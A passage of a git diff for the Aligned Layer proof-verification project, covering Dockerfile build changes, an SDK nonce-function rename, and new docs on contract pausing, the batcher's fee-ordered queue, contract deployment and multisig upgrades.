@@ -FROM ghcr.io/yetanotherco/aligned_layer/aligned_base:latest AS builder - -RUN apt update -y -RUN apt install -y gcc +FROM ghcr.io/yetanotherco/aligned_layer/aligned_base:latest AS base COPY go.mod . COPY go.sum . -COPY batcher ./batcher +COPY batcher/aligned-batcher/gnark/verifier.go /aligned_layer/batcher/aligned-batcher/gnark/verifier.go -WORKDIR /aligned_layer/batcher/aligned-batcher +RUN apt update -y && apt install -y gcc +RUN go build -buildmode=c-archive -o libverifier.a /aligned_layer/batcher/aligned-batcher/gnark/verifier.go -RUN go build -buildmode=c-archive -o libverifier.a ./gnark/verifier.go +FROM lukemathwalker/cargo-chef:latest-rust-1 AS chef -WORKDIR /aligned_layer +FROM chef AS planner -COPY batcher/aligned-batcher/Cargo.toml batcher/aligned-batcher/Cargo.toml -COPY batcher/aligned/Cargo.toml batcher/aligned/Cargo.toml +COPY batcher/aligned-batcher/Cargo.toml /aligned_layer/batcher/aligned-batcher/Cargo.toml +COPY batcher/aligned-batcher/src/main.rs /aligned_layer/batcher/aligned-batcher/src/main.rs +WORKDIR /aligned_layer/batcher/aligned-batcher/ +RUN cargo chef prepare --recipe-path /aligned_layer/batcher/aligned-batcher/recipe.json -RUN cargo build --manifest-path ./batcher/aligned-batcher/Cargo.toml --release -RUN cargo build --manifest-path ./batcher/aligned/Cargo.toml --release +COPY batcher/aligned/Cargo.toml /aligned_layer/batcher/aligned/Cargo.toml +COPY batcher/aligned/src/main.rs /aligned_layer/batcher/aligned/src/main.rs +WORKDIR /aligned_layer/batcher/aligned/ +RUN cargo chef prepare --recipe-path /aligned_layer/batcher/aligned/recipe.json -COPY scripts/test_files/gnark_groth16_bn254_infinite_script scripts/test_files/gnark_groth16_bn254_infinite_script +FROM chef AS chef_builder +COPY batcher/aligned-sdk/ /aligned_layer/batcher/aligned-sdk/ -RUN go build -o ./gnark_groth16_bn254_infinite_script scripts/test_files/gnark_groth16_bn254_infinite_script/cmd/main.go +COPY --from=planner /aligned_layer/batcher/aligned-batcher/recipe.json /aligned_layer/batcher/aligned-batcher/recipe.json +WORKDIR /aligned_layer/batcher/aligned-batcher +RUN cargo chef cook --release --recipe-path /aligned_layer/batcher/aligned-batcher/recipe.json -RUN rm -rf operator/ +COPY --from=planner /aligned_layer/batcher/aligned/recipe.json /aligned_layer/batcher/aligned/recipe.json +WORKDIR /aligned_layer/batcher/aligned/ +RUN cargo chef cook --release --recipe-path /aligned_layer/batcher/aligned/recipe.json -FROM debian:bookworm-slim +FROM base AS builder +COPY . /aligned_layer/ +COPY --from=chef_builder /aligned_layer/batcher/aligned-batcher/target/ /aligned_layer/batcher/aligned-batcher/target/ +WORKDIR /aligned_layer/batcher/aligned-batcher/ +RUN cargo build --manifest-path /aligned_layer/batcher/aligned-batcher/Cargo.toml --release + +COPY --from=chef_builder /aligned_layer/batcher/aligned/target/ /aligned_layer/batcher/aligned/target/ +WORKDIR /aligned_layer/batcher/aligned/ +RUN cargo build --manifest-path /aligned_layer/batcher/aligned/Cargo.toml --release + +COPY scripts/test_files/gnark_groth16_bn254_infinite_script/ /aligned_layer/scripts/test_files/gnark_groth16_bn254_infinite_script/ WORKDIR /aligned_layer +RUN go build -o /aligned_layer/gnark_groth16_bn254_infinite_script scripts/test_files/gnark_groth16_bn254_infinite_script/cmd/main.go + +RUN rm -rf operator/ + +FROM debian:bookworm-slim AS final COPY --from=builder /aligned_layer /aligned_layer COPY --from=builder /aligned_layer/batcher/target/release/aligned-batcher /usr/local/bin/ @@ -38,7 +60,6 @@ COPY ../scripts/test_files/ ./scripts/test_files COPY ./config-files/config-batcher-docker.yaml ./config-files/ COPY ./config-files/anvil.batcher.ecdsa.key.json ./config-files/ -RUN apt update -y -RUN apt install -y libssl-dev ca-certificates +RUN apt update -y && apt install -y libssl-dev ca-certificates CMD ["aligned-batcher", "--config", "./config-files/config-batcher-docker.yaml"] diff --git a/docker/operator.Dockerfile b/docker/operator.Dockerfile index b264b7127..aa3d7c9ce 100644 --- a/docker/operator.Dockerfile +++ b/docker/operator.Dockerfile @@ -1,5 +1,7 @@ FROM ghcr.io/yetanotherco/aligned_layer/aligned_base:latest AS builder +WORKDIR /aligned_layer + RUN apt update -y RUN apt install -y gcc diff --git a/docs/0_internal/README.md b/docs/0_internal/README.md new file mode 100644 index 000000000..5de5d3c98 --- /dev/null +++ b/docs/0_internal/README.md @@ -0,0 +1,3 @@ +# Internal docs + +This folder contains useful internal documentation on Aligned. diff --git a/docs/0_internal/pausable.md b/docs/0_internal/pausable.md new file mode 100644 index 000000000..8ebd6af2c --- /dev/null +++ b/docs/0_internal/pausable.md @@ -0,0 +1,75 @@ +# Pausable +This doc contains a guide on how to use the Pausable functionality of Aligned. + +To run the make targets specified in this guide, you must first have the relevant following env vars: +``` +export RPC_URL= +export ALIGNED_SERVICE_MANAGER= +export ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY= +export BATCHER_PAYMENT_SERVICE= +export BATCHER_PAYMENT_SERVICE_PAUSER_PRIVATE_KEY= +``` + +## Aligned Service Manager + +Aligned Service Manager is granulary pausable, which means you can pause the whole contract, or only specific functions. For this, +Aligned uses the Pauser Registry contract provided by Eigenlayer. This contract stores the role of different accounts, so +you can have X pausers and Y unpausers. + +To interact with it you can: + +- Get current paused state: +``` +make get_paused_state_aligned_service_manager +``` + +- Pause or Unpause the whole aligned service manager contract: +``` +make pause_all_aligned_service_manager +``` +``` +make unpause_all_aligned_service_manager +``` + +- Pause only specific functions, receiving a list of the functions to pause/remain paused: +For example, if you want to pause functions 0, 2 and 3, you can run +``` +contracts/scripts/pause_aligned_service_manager.sh 0 2 3 +``` +Then, if you want to unpause, for example, function 2, you must run +``` +contracts/scripts/unpause_aligned_service_manager.sh 0 3 +``` + +Note: when executing a Pause, you can only ADD functions to the paused list, and when executing an Unpause, you can only REMOVE functions from the paused list. This is because the base pausable contract has different ACL for Pausers and Unpausers. + +Note: the list of pausable functions and their numbers can be seen in the `AlignedLayerServiceManager.sol` contract. But the list is the following: + +0. createNewTask +1. respondToTaskV2 +2. verifyBatchInclusion +3. withdraw +4. depositToBatcher +5. receive + +## BatcherPaymentsService + +BatcherPayments is also pausable, but without so much detail. You can either pause or unpause the contract running the following: + +- Get current paused state: +``` +make get_paused_state_batcher_payments_service +``` + +``` +make pause_batcher_payment_service +``` +``` +make unpause_batcher_payment_service +``` + +And this will either pause or unpause the following functions: +- createNewTask +- unlock +- lock +- withdraw diff --git a/docs/2_architecture/components/1_batcher.md b/docs/2_architecture/components/1_batcher.md index 0f8fb370a..fbcb24c4b 100644 --- a/docs/2_architecture/components/1_batcher.md +++ b/docs/2_architecture/components/1_batcher.md @@ -2,7 +2,7 @@ The Batcher receives proofs from different Users, bundles them in a batch of proofs, builds a Merkle Root from these, uploads the batch to a data service (like an S3 bucket), and submits this information to the [Aligned Service Manager](./3_service_manager_contract.md). -To ensure that the User is sure that their proof was included in a batch, the Batcher will send each User their Merkle Proof (or Merkle Path). With this, the User can rebuild the Merkle Root starting from their proof, thus verifying it was actually included in the batch. +To ensure that the User can be certain that their proof was included in a batch, the Batcher will send each User their Merkle Proof (or Merkle Path). With this, the User can rebuild the Merkle Root starting from their proof, thus verifying it was actually included in the batch. Also, to avoid unnecessary proof submissions, the Batcher performs preliminary verifications of the submitted proofs in to minimize the submission of false proofs in a batch. @@ -11,3 +11,110 @@ However, each proof has a cost of verification, so each batch must contain some To send the batch of proofs to the [Aligned Service Manager](./3_service_manager_contract.md), the Batcher stores the batch of proofs in an S3 for 1 week, and sends the link to the file to the [Aligned Service Manager](./3_service_manager_contract.md). To view how to submit your own batch, without the use of this Batcher, you may follow [the following guide](../../3_guides/8_submitting_batch_without_batcher.md) + + +### Max fee priority queue + +The batcher queue is now ordered by `max_fee` signed by users in their proof messages - the ones willing to pay more will be prioritized in the batch. + +Because of this, a user can't have a proof with higher nonce set with a higher fee included in the batch. For example, consider this situation in a batch. Let the two entries in the batch be from the same address: + + [(nonce: 1, max_fee: 5), (nonce: 2, max_fee: 10)] + +This shouldn't happen because it would make the message with higher nonce be processed earlier than the one with a lower nonce, hence it will raise an invalid nonce error. + +When a user submits a proof for the first time in the batch, its `max_fee` is stored and set as the `user_min_fee` for the rest of the proofs to be included in the batch. It is called this way because it means the minimum fee a user has sent. +If a later message with a higher `max_fee` is received, the message is rejected and not included in the queue, while if a message with a lower `max_fee` is received, +the message is included in the queue and the `user_min_fee` is updated to that value. +In summary, **no messages with a higher `max_fee` than the `user_min_fee` will be included**. + +In case a message has a `max_fee` that is too low - allowing it to be stuck in the batcher's queue, the message can be re-sent (called *replacement message*) to bump its `max_fee` with a higher fee. +For this, a validation is done first. We check that when the `max_fee` for the message with that nonce is updated, there is no message with a lower nonce and a lower `max_fee`, because this would lead to the problem +of messages with higher nonce processed earlier than messages with lower nonce, as discussed earlier. +As an example, consider all these messages in a batch from the same address: + + [(nonce: 1, max_fee: 10), (nonce: 2, max_fee: 5), (nonce: 3, max_fee: 3)] + +If the user wants to send a replacement message for the message with nonce 2, updating the max fee to 11, it wouldn't be valid. +But it could update the max fee to, for example, 8. + +## Batch finalization algorithm + +There are some analogies in the processing of the batch with respect to how Ethereum handles transactions in the mempool and builds blocks. +We can consider the Batcher priority queue as a sort of *mempool* in the Ethereum case. Once certain conditions are met, the Batcher will try to make a *finalized batch*, containing the maximum amount of highest paying messages, which in the analogy is like assembling a block in Ethereum, grabbing the highest valued transactions. + +When the conditions to build a batch are met, the Batcher runs the following batch finalization algorithm to create a batch of proofs from the priority queue. + +This algorithm starts by calculating the **batch size**, in bytes, by adding the verification data bytes of each proof of the queue. The next step is to build a new **resulting priority queue**, which will store all proofs that where not included in the batch, replacing the current priority queue when this algorithm ends. + +In order for the batch to be considered valid, two conditions have to be met: +* The **batch size** in bytes must be less than or equal to a defined limit. +* All proofs found in the batch must have a `max_fee` equal or higher to the calculated **fee per proof** of the batch. + +The **fee per proof** indicates the cost of verifying each proof within the batch. It is calculated using a formula that depends on the **batch length**, defined as the number of proofs in the batch: + +``` +gas_per_proof = (constant_gas_cost + additional_submission_gas_cost_per_proof * batch_len) / batch_len +fee_per_proof = gas_per_proof * gas_price +``` + +Since the priority queue is sorted in ascending order of `max_fee`, we can be certain that if the proof with the smallest `max_fee` complies with the **fee per proof** rule, then all remaining proofs in the queue will do so + +``` +priority_queue = [(proof_a, 87), (proof_b, 90), (proof_c, 99)] +``` + +The algorithm attempts to build new batch by iterating on each proof, starting with the one with the smallest `max_fee` in the queue. On each iteration, the **batch size** and **fee per proof** will be recalculated and both conditions reevaluated. When both conditions are met, all proofs remaining in the queue will be used to build the new batch. The remaining proofs, stored in the **resulting priority queue**, will be candidates to the next batch finalization algorithm execution. + +So, instead of the batcher "building" a batch by adding valid messages, it builds a batch by gradually not considering the cheapest ones, until a valid one is found. + +There is an edge case for this algorithm: If the fee per proof is too high even for the highest `max_fee` proof, the algorithm will iterate over each proof until the **priority queue** is empty. +This means no proof allowed enough `max_fee` to be included in a batch. +If this happens, the finalization of the batch is suspended and all the process will start again when a new block is received. + +Let's see a very simple example, the algorithm starts with the following state: + +``` +priority_queue = [(E, 74), (D, 75), (C, 90), (B, 95), (A, 100)] +resulting_priority_queue = [] +max_batch_size = 1000 # Defined constant +``` + +On the first iteration, the proof with the smallest `max_fee` is taken and the **fee per proof** is calculated + +``` +priority_queue = [(E, 74), (D, 75), (C, 90), (B, 95), (A, 100)] +resulting_priority_queue = [] +current_proof = (E, 74) +fee_per_proof = calculate_fee_per_proof(priority_queue) # Result: 70 +batch_size_bytes = calculate_batch_size(priority_queue) # Result: 1150 +``` + +This batch can't be finalized, since it exceeds the maximum batch limit of 1000 bytes. This proof will be discarded for the current batch and stored in the **resulting priority queue** + +``` +priority_queue = [(D, 75), (C, 90), (B, 95), (A, 100)] +resulting_priority_queue = [(E, 74)] +current_proof = (D, 75) +fee_per_proof = calculate_fee_per_proof(priority_queue) # Result: 76 +batch_size_bytes = calculate_batch_size(priority_queue) # Result: 990 +``` + +This batch won't be finalized either, since the **fee per proof** of the batch is higher than the `max_fee` of the current proof. This proof will be discarded for the current batch and stored in the **resulting priority queue** + +``` +priority_queue = [(C, 90), (B, 95), (A, 100)] +resulting_priority_queue = [(E, 74), (D, 75)] +current_proof = (C, 90) +fee_per_proof = calculate_fee_per_proof(priority_queue) # Result: 90 +batch_size_bytes = calculate_batch_size(priority_queue) # Result: 850 +``` + +All proofs in this batch comply with the `max_fee` and **fee per proof** condition, and the batch size is lower than the established limit, so this batch will be finalized! + +The execution ends with the following state for the batcher: a new batch is created , and the **priority queue** is replaced by the **resulting priority queue** + +``` +new_batch = [A, B, C] # Batch to send +priority_queue = [(E, 74), (D, 75)] # New priority queue +``` diff --git a/docs/3_guides/1.2_SDK_api_reference.md b/docs/3_guides/1.2_SDK_api_reference.md index 1b1a0a9c9..8bc3ca4df 100644 --- a/docs/3_guides/1.2_SDK_api_reference.md +++ b/docs/3_guides/1.2_SDK_api_reference.md @@ -24,7 +24,7 @@ pub async fn submit( - `verification_data` - The verification data for the proof. - `max_fee` - The maximum fee that the submitter is willing to pay for the proof verification. - `wallet` - The wallet used to sign the proof. Should be using correct chain id. See `get_chain_id`. -- `nonce` - The nonce of the submitter address. See `get_next_nonce`. +- `nonce` - The nonce of the submitter address. See `get_nonce_from_ethereum`. #### Returns @@ -70,7 +70,7 @@ pub async fn submit_multiple( - `verification_data` - A verification data array. - `max_fees` - A max fee array. - `wallet` - The wallet used to sign the proof. Should be using correct chain id. See `get_chain_id`. -- `nonce` - The nonce of the submitter address. See `get_next_nonce`. +- `nonce` - The nonce of the submitter address. See `get_nonce_from_ethereum`. - `NotAContract(address)` if you are trying to send to an address that is not a contract. This generally occurs if you have misconfigured the `environment` parameter. #### Returns @@ -120,7 +120,7 @@ pub async fn submit_and_wait_verification( - `verification_data` - The verification data for the proof. - `max_fee` - The maximum fee that the submitter is willing to pay for the proof verification. - `wallet` - The wallet used to sign the proof. Should be using correct chain id. See `get_chain_id`. -- `nonce` - The nonce of the submitter address. See `get_next_nonce`. +- `nonce` - The nonce of the submitter address. See `get_nonce_from_ethereum`. - `payment_service_addr` - The address of the batcher payment service contract. - `NotAContract(address)` if you are trying to send to an address that is not a contract. This generally occurs if you have misconfigured the `environment` parameter. @@ -151,8 +151,7 @@ pub async fn submit_and_wait_verification( ### `submit_multiple_and_wait_verification` -Submits multiple proofs to the batcher to be verified, waits for the verification on Ethereum and returns an aligned -verification data array. +Submits multiple proofs to the batcher for verification, waits for verification on Ethereum, and returns an array of `Result`s containing aligned verification data that indicates whether each proof was successfully submitted. If a timeout occurs while waiting for verification, an additional `Err` is appended to the end of the returned array. ```rust pub async fn submit_multiple_and_wait_verification( @@ -163,7 +162,7 @@ pub async fn submit_multiple_and_wait_verification( wallet: Wallet, nonce: U256, payment_service_addr: &str, -) -> Result, errors::SubmitError> +) -> Vec> ``` #### Arguments @@ -174,7 +173,7 @@ pub async fn submit_multiple_and_wait_verification( - `verification_data` - A verification data array. - `max_fees` - A max fee array. - `wallet` - The wallet used to sign the proof. Should be using correct chain id. See `get_chain_id`. -- `nonce` - The nonce of the submitter address. See `get_next_nonce`. +- `nonce` - The nonce of the submitter address. See `get_nonce_from_ethereum`. - `payment_service_addr` - The address of the batcher payment service contract. - `NotAContract(address)` if you are trying to send to an address that is not a contract. This generally occurs if you have misconfigured the `environment` parameter. @@ -252,12 +251,13 @@ pub fn get_commitment( - `[u8; 32]` - A 32-byte array representing the keccak256 hash of the verification key. -### `get_next_nonce` +### `get_nonce_from_ethereum` -Returns the nonce to use for a given address. +Returns the nonce for a given address in Ethereum from aligned payment service contract. +Note that it might be out of sync if you recently sent proofs. For that see [`get_nonce_from_batcher`](#get_nonce_from_batcher) ```rust -pub async fn get_next_nonce( +pub async fn get_nonce_from_ethereum( eth_rpc_url: &str, submitter_addr: Address, network: Network, @@ -280,6 +280,33 @@ pub async fn get_next_nonce( - `EthereumCallError` if there is an error in the Ethereum call. - `NotAContract(address)` if you are trying to send to an address that is not a contract. This generally occurs if you have misconfigured the `environment` parameter. +### `get_nonce_from_batcher` + +Returns the next nonce for a given address from the batcher. + +You should prefer this method instead of [`get_nonce_from_ethereum`](#get_nonce_from_ethereum) if you have recently sent proofs, +as the batcher proofs might not yet be on ethereum, producing an out-of-sync nonce with the payment service contract on ethereum + +```rust +pub async fn get_nonce_from_batcher( + batcher_ws_url: &str, + address: Address, +) -> Result { +``` +#### Arguments + + +- `batcher_url` - The batcher websocket url. +- `address` - The user address for which the nonce will be retrieved. + +#### Returns + +- `Result` - The next nonce of the proof submitter account. + +#### Errors + +- `EthRpcError` if the batcher has an error in the Ethereum call when retrieving the nonce if not already cached. + ### `get_chain_id` Returns the chain id for a given rpc url. @@ -382,16 +409,17 @@ pub async fn fee_per_proof( - `EthereumProviderError` if there is an error in the connection with the RPC provider. - `EthereumCallError` if there is an error in the Ethereum call. - ### `deposit_to_aligned` Funds the batcher payment service in name of the signer +```Rust pub async fn deposit_to_aligned( amount: U256, signer: SignerMiddleware, LocalWallet>, network: Network, ) -> Result { +``` #### Arguments `amount` - The amount to be paid. @@ -406,10 +434,9 @@ The receipt of the payment transaction. `SubmitError` if there is an error submitting the transaction. `PaymentFailed` if the payment failed. - ### `get_balance_in_aligned` -Queries a User's balance that was deposited in Aligned +Queries a User's balance that was deposited in Aligned ```rust pub async fn get_balance_in_aligned( diff --git a/docs/3_guides/1_SDK_how_to.md b/docs/3_guides/1_SDK_how_to.md index 48cda0157..a42dcd090 100644 --- a/docs/3_guides/1_SDK_how_to.md +++ b/docs/3_guides/1_SDK_how_to.md @@ -24,10 +24,11 @@ To get the SDK up and running in your project, you must first import it ```rust use aligned_sdk::core::types::{PriceEstimate, AlignedVerificationData, Network, ProvingSystemId, VerificationData}; -use aligned_sdk::sdk::{estimate_fee, submit_and_wait, get_next_nonce}; +use aligned_sdk::sdk::{estimate_fee, submit_and_wait, get_nonce_from_ethereum}; ``` -And then you can do a simple call of, for example, `get_next_nonce` +And then you can do a simple call of, for example, `get_nonce_from_ethereum` + ```rust const NETWORK: Network = Network::Holesky; @@ -40,7 +41,7 @@ fn main() { .with_chain_id(17000u64); // Call to SDK: - let nonce = get_next_nonce(&rpc_url, wallet.address(), NETWORK).await + let nonce = get_nonce_from_ethereum(&rpc_url, wallet.address(), NETWORK).await .expect("Failed to get next nonce"); } ``` diff --git a/docs/3_guides/2_build_your_first_aligned_application.md b/docs/3_guides/2_build_your_first_aligned_application.md index 09a4bae1b..a1182a201 100644 --- a/docs/3_guides/2_build_your_first_aligned_application.md +++ b/docs/3_guides/2_build_your_first_aligned_application.md @@ -84,6 +84,7 @@ This will: The ZkQuiz source code is available [here](../../examples/zkquiz). ZkQuiz has three main components: + - App/script - Program - Verifier contract @@ -159,6 +160,7 @@ You can generate the expected commitment without actually generating and submitt ```bash aligned get-vk-commitment --verification_key_file --proving_system ``` + where the `path_to_input_file` is the path to the `elf` file generated with the program compilation and the `proving_system_id` the name of the proving system used for compilation, in this case `SP1`. Then, the contract validates if the provided commitment of the program identifier matches the expected one. @@ -244,7 +246,7 @@ println!("Proof verified successfully."); Now we can send the generated proof to Aligned using the SDK. ```rust -// script/src/main.rs +// script/src/main.rs // Serialize the proof to later save in a file. let proof = bincode::serialize(&proof).expect("Failed to serialize proof"); @@ -265,7 +267,7 @@ let max_fee = estimate_fee(&rpc_url, PriceEstimate::Default) let max_fee_string = ethers::utils::format_units(max_fee, 18).unwrap(); -let nonce = get_next_nonce(&rpc_url, wallet.address(), NETWORK) +let nonce = get_nonce_from_ethereum(&rpc_url, wallet.address(), NETWORK) .await .expect("Failed to get next nonce"); @@ -286,9 +288,9 @@ let aligned_verification_data = submit_and_wait_verification( Finally, if the proof was sent to Aligned correctly, we can interact with our verifier Smart Contract to verify that the proof was correctly posted in aligned and claim the NFT. ```rust -// script/src/main.rs +// script/src/main.rs -// Sends a transaction to the verifier contract with the +// Sends a transaction to the verifier contract with the // verification data provided by aligned claim_nft_with_verified_proof( &aligned_verification_data, diff --git a/docs/3_guides/6_setup_aligned.md b/docs/3_guides/6_setup_aligned.md index fbc13eb80..d0f210fd0 100644 --- a/docs/3_guides/6_setup_aligned.md +++ b/docs/3_guides/6_setup_aligned.md @@ -356,7 +356,6 @@ batcher: batch_size_interval: max_proof_size: max_batch_size: - eth_ws_reconnects: pre_verification_is_enabled: ## ECDSA Configurations @@ -528,6 +527,13 @@ to run it using the following documentation: ### DB Setup +> [!NOTE] +> If you want to run the DB separately, without docker, +> you can set it up and start the explorer with the following command: +> ```bash +> make run_explorer_without_docker_db +> ``` + To set up the explorer, an installation of the DB is necessary. First, you'll need to install docker if you don't have it already. @@ -563,6 +569,13 @@ make explorer_ecto_setup_db make run_explorer ``` +> [!NOTE] +> If you want to run the DB separately, without docker, +> you can set it up and start the explorer with the following command: +```bash +make run_explorer_without_docker_db +``` + To clear the DB, you can run: diff --git a/docs/3_guides/setup_holesky.md b/docs/3_guides/setup_holesky.md index 83ed8e2e8..b6ea17e66 100644 --- a/docs/3_guides/setup_holesky.md +++ b/docs/3_guides/setup_holesky.md @@ -7,28 +7,28 @@ These contracts are not deployed by Aligned. Current EigenLayer contracts: - [Holesky Contracts](https://github.com/Layr-Labs/eigenlayer-contracts/blob/testnet-holesky/script/configs/holesky/Holesky_current_deployment.config.json) - [Mainnet Contracts](https://github.com/Layr-Labs/eigenlayer-contracts/blob/mainnet/script/configs/mainnet/Mainnet_current_deployment.config.json) -### Aligned Contracts: Holesky/Mainnet +## Aligned Contracts: Holesky/Mainnet -To deploy the contracts to Testnet/Mainnet, you will need to set environment variables in a `.env` file in the same +### Deploy Service Manager + +To deploy the AlignedLayer contracts to Testnet/Mainnet, you will need to set environment variables in a `.env` file in the same directory as the deployment script (`contracts/scripts/`). The necessary environment variables are: -| Variable Name | Description | -|---------------------------------|-----------------------------------------------------------------------| -| `RPC_URL` | The RPC URL of the network you want to deploy to. | -| `PRIVATE_KEY` | The private key of the account you want to deploy the contracts with. | -| `EXISTING_DEPLOYMENT_INFO_PATH` | The path to the file containing the deployment info about EigenLayer. | -| `DEPLOY_CONFIG_PATH` | The path to the deployment config file. | -| `OUTPUT_PATH` | The path to the file where the deployment info will be saved. | +| Variable Name | Description | +|---------------------------------------|-------------------------------------------------------------------------| +| `RPC_URL` | The RPC URL of the network you want to deploy to. | +| `PRIVATE_KEY` | The private key of the account you want to deploy the contracts with. | +| `EXISTING_DEPLOYMENT_INFO_PATH` | The path to the file containing the deployment info about EigenLayer. | +| `DEPLOY_CONFIG_PATH` | The path to the deployment config file for the Service Manager. | +| `OUTPUT_PATH` | The path to the file where the deployment info will be saved. | +| `ETHERSCAN_API_KEY` | API KEY to verify the contracts in Etherscan. | +| `MULTISIG` | This is required for upgrade to specify is you are using a multisig. | You can find an example `.env` file in [.env.example.holesky](../../contracts/scripts/.env.example.holesky) -Then run the following command: - -```bash -make deploy_aligned_contracts -``` +Note: all file paths must be inside the `script/` folder, as shown in `.env.example.holesky` because of `foundry`'s permissions to read and write files. You need to complete the `DEPLOY_CONFIG_PATH` file with the following information: @@ -55,12 +55,67 @@ You need to complete the `DEPLOY_CONFIG_PATH` file with the following informatio You can find an example config file in `contracts/script/deploy/config/holesky/aligned.holesky.config.json`. +Then run the following command: + +```bash +make deploy_aligned_contracts +``` + +### Deploy Batcher Payment Service + +### Deploy Service Manager + +To deploy the Batcher Payment Service contract to Testnet/Mainnet, you will need to set environment variables in a `.env` file in the same +directory as the deployment script (`contracts/scripts/`). + +The necessary environment variables are: + +| Variable Name | Description | +|---------------------------------------|-------------------------------------------------------------------------| +| `RPC_URL` | The RPC URL of the network you want to deploy to. | +| `PRIVATE_KEY` | The private key of the account you want to deploy the contracts with. | +| `EXISTING_DEPLOYMENT_INFO_PATH` | The path to the file containing the deployment info about EigenLayer. | +| `DEPLOY_CONFIG_PATH` | The path to the deployment config file for the Service Manager. | +| `BATCHER_PAYMENT_SERVICE_CONFIG_PATH` | The path to the deployment config file for the Batcher Payment Service. | +| `OUTPUT_PATH` | The path to the file where the deployment info will be saved. | +| `ETHERSCAN_API_KEY` | API KEY to verify the contracts in Etherscan. | +| `MULTISIG` | This is required for upgrade to specify is you are using a multisig. | + +You can find an example `.env` file in [.env.example.holesky](../../contracts/scripts/.env.example.holesky) + +You need to complete the `BATCHER_PAYMENT_SERVICE_CONFIG_PATH` file with the following information: + +```json +{ + "address": { + "batcherWallet": "", + "alignedLayerServiceManager": "" + }, + "permissions": { + "owner": "" + }, + "eip712": { + "noncedVerificationDataTypeHash": "0x41817b5c5b0c3dcda70ccb43ba175fdcd7e586f9e0484422a2c6bba678fdf4a3" + } +} +``` + +Then run the following command: + +```bash +make deploy_batcher_payment_service +``` + +### Upgrade Service Manager + To upgrade the Service Manager Contract in Testnet/Mainnet, run: ```bash make upgrade_aligned_contracts ``` +### Upgrade Registry Coordinator + To upgrade the Registry Coordinator in Testnet/Mainnet, run: ```bash diff --git a/docs/images/multisig-1.png b/docs/images/multisig-1.png new file mode 100644 index 000000000..639487d0b Binary files /dev/null and b/docs/images/multisig-1.png differ diff --git a/docs/images/multisig-10.png b/docs/images/multisig-10.png new file mode 100644 index 000000000..3d7651eae Binary files /dev/null and b/docs/images/multisig-10.png differ diff --git a/docs/images/multisig-11.png b/docs/images/multisig-11.png new file mode 100644 index 000000000..27f9f613a Binary files /dev/null and b/docs/images/multisig-11.png differ diff --git a/docs/images/multisig-12.png b/docs/images/multisig-12.png new file mode 100644 index 000000000..a3c73249e Binary files /dev/null and b/docs/images/multisig-12.png differ diff --git a/docs/images/multisig-13.png b/docs/images/multisig-13.png new file mode 100644 index 000000000..45660d079 Binary files /dev/null and b/docs/images/multisig-13.png differ diff --git a/docs/images/multisig-14.png b/docs/images/multisig-14.png new file mode 100644 index 000000000..811efb749 Binary files /dev/null and b/docs/images/multisig-14.png differ diff --git a/docs/images/multisig-15.png b/docs/images/multisig-15.png new file mode 100644 index 000000000..4626e4095 Binary files /dev/null and b/docs/images/multisig-15.png differ diff --git a/docs/images/multisig-2.png b/docs/images/multisig-2.png new file mode 100644 index 000000000..a5b59fbc3 Binary files /dev/null and b/docs/images/multisig-2.png differ diff --git a/docs/images/multisig-3.png b/docs/images/multisig-3.png new file mode 100644 index 000000000..244d3ce9d Binary files /dev/null and b/docs/images/multisig-3.png differ diff --git a/docs/images/multisig-4.png b/docs/images/multisig-4.png new file mode 100644 index 000000000..dd4e5e129 Binary files /dev/null and b/docs/images/multisig-4.png differ diff --git a/docs/images/multisig-5.png b/docs/images/multisig-5.png new file mode 100644 index 000000000..d8c490250 Binary files /dev/null and b/docs/images/multisig-5.png differ diff --git a/docs/images/multisig-6.png b/docs/images/multisig-6.png new file mode 100644 index 000000000..465ec1d5c Binary files /dev/null and b/docs/images/multisig-6.png differ diff --git a/docs/images/multisig-7.png b/docs/images/multisig-7.png new file mode 100644 index 000000000..d17b55066 Binary files /dev/null and b/docs/images/multisig-7.png differ diff --git a/docs/images/multisig-8.png b/docs/images/multisig-8.png new file mode 100644 index 000000000..1cd86ef60 Binary files /dev/null and b/docs/images/multisig-8.png differ diff --git a/docs/images/multisig-9.png b/docs/images/multisig-9.png new file mode 100644 index 000000000..c357cc4fd Binary files /dev/null and b/docs/images/multisig-9.png differ diff --git a/docs/multisig.md b/docs/multisig.md new file mode 100644 index 000000000..a711faeec --- /dev/null +++ b/docs/multisig.md @@ -0,0 +1,89 @@ +This file temporarily holds the previous multisig docs: + +## Multisig Usage + +> [!WARNING] +> Safe Multisig Wallet is not currently supported in Holesky Testnet. +> For this reason, we deployed EigenLayer contracts in Sepolia to test the upgrade on AlignedLayer Contracts. + +> [!NOTE] +> EigenLayer Sepolia contracts information is available in `contracts/script/output/sepolia/eigenlayer_deployment_output.json`. + +> [!NOTE] +> You can find a guide on how to Deploy or Upgrade the contracts [here](./3_guides/setup_holesky.md). + +In this guide we make an upgrade of Aligned Layer Service Manager contract using a multisig wallet. This is important to ensure not one party can do an upgrade, and helps ensure the team is not locked out of upgrading the network due to a loss of keys. + +## Requirements +- Multisig Wallet + - You can create a Multisig wallet using [Safe](https://safe.global/). For this guide, I have created a 2/3 Multisig. +- [jq](https://jqlang.github.io/jq/download/) + - `jq` is needed to programatically read contents of `.json` config files + +## Initial setup + +Once you have a Multisig, you can deploy the contracts using the Multisig wallet address as the upgrader, owner, pauser, etc. You can use a multisig wallet in both the `AlignedLayerServiceManager` and `BatcherPaymentService` contracts. + +For this, you must set your Safe Multisig's address in the `contracts/script/deploy/config/sepolia/aligned.sepolia.config.json` config file. In case of the `deployer` permission, it is not recommended to set the multisig, as he will deploy many contracts and delegate ownership, it is best to set the address of a wallet with funds, which will be the one that deploys the contracts. + +Then, in order to do some action that requires the Multisig Owner, for example upgrading the contract, you must do the following: + +## Upgrading the contract + +1) Deploy the new implementation by running: + +```bash +make upgrade_aligned_contracts +``` + +And if the new implementation is correctly deployed, the script will show the following message: + +```bash +You can propose the upgrade transaction with the multisig using this calldata + +``` + +You should save this `calldata` for later use. + +2) Start a transaction request on your multisig, clicking on `New transaction` -> `Interact with contracts` +![alt text](./images/multisig-1.png) +![alt text](./images/multisig-2.png) + +3) Get the `ProxyAdmin` address, and paste it on `Enter Address or ENS Name` +```bash +jq -r ".addresses.alignedLayerProxyAdmin" contracts/script/output/sepolia/alignedlayer_deployment_output.json | pbcopy +``` + +4) Get the ABI and paste it on the corresponding box, if not done automatically by the page. +```bash +jq ".abi" contracts/out/ProxyAdmin.sol/ProxyAdmin.json | pbcopy +``` +![alt text](./images/multisig-3.png) +![alt text](./images/multisig-4.png) + + +5) Scroll down and Fill the `ETH Value` as 0 +![alt 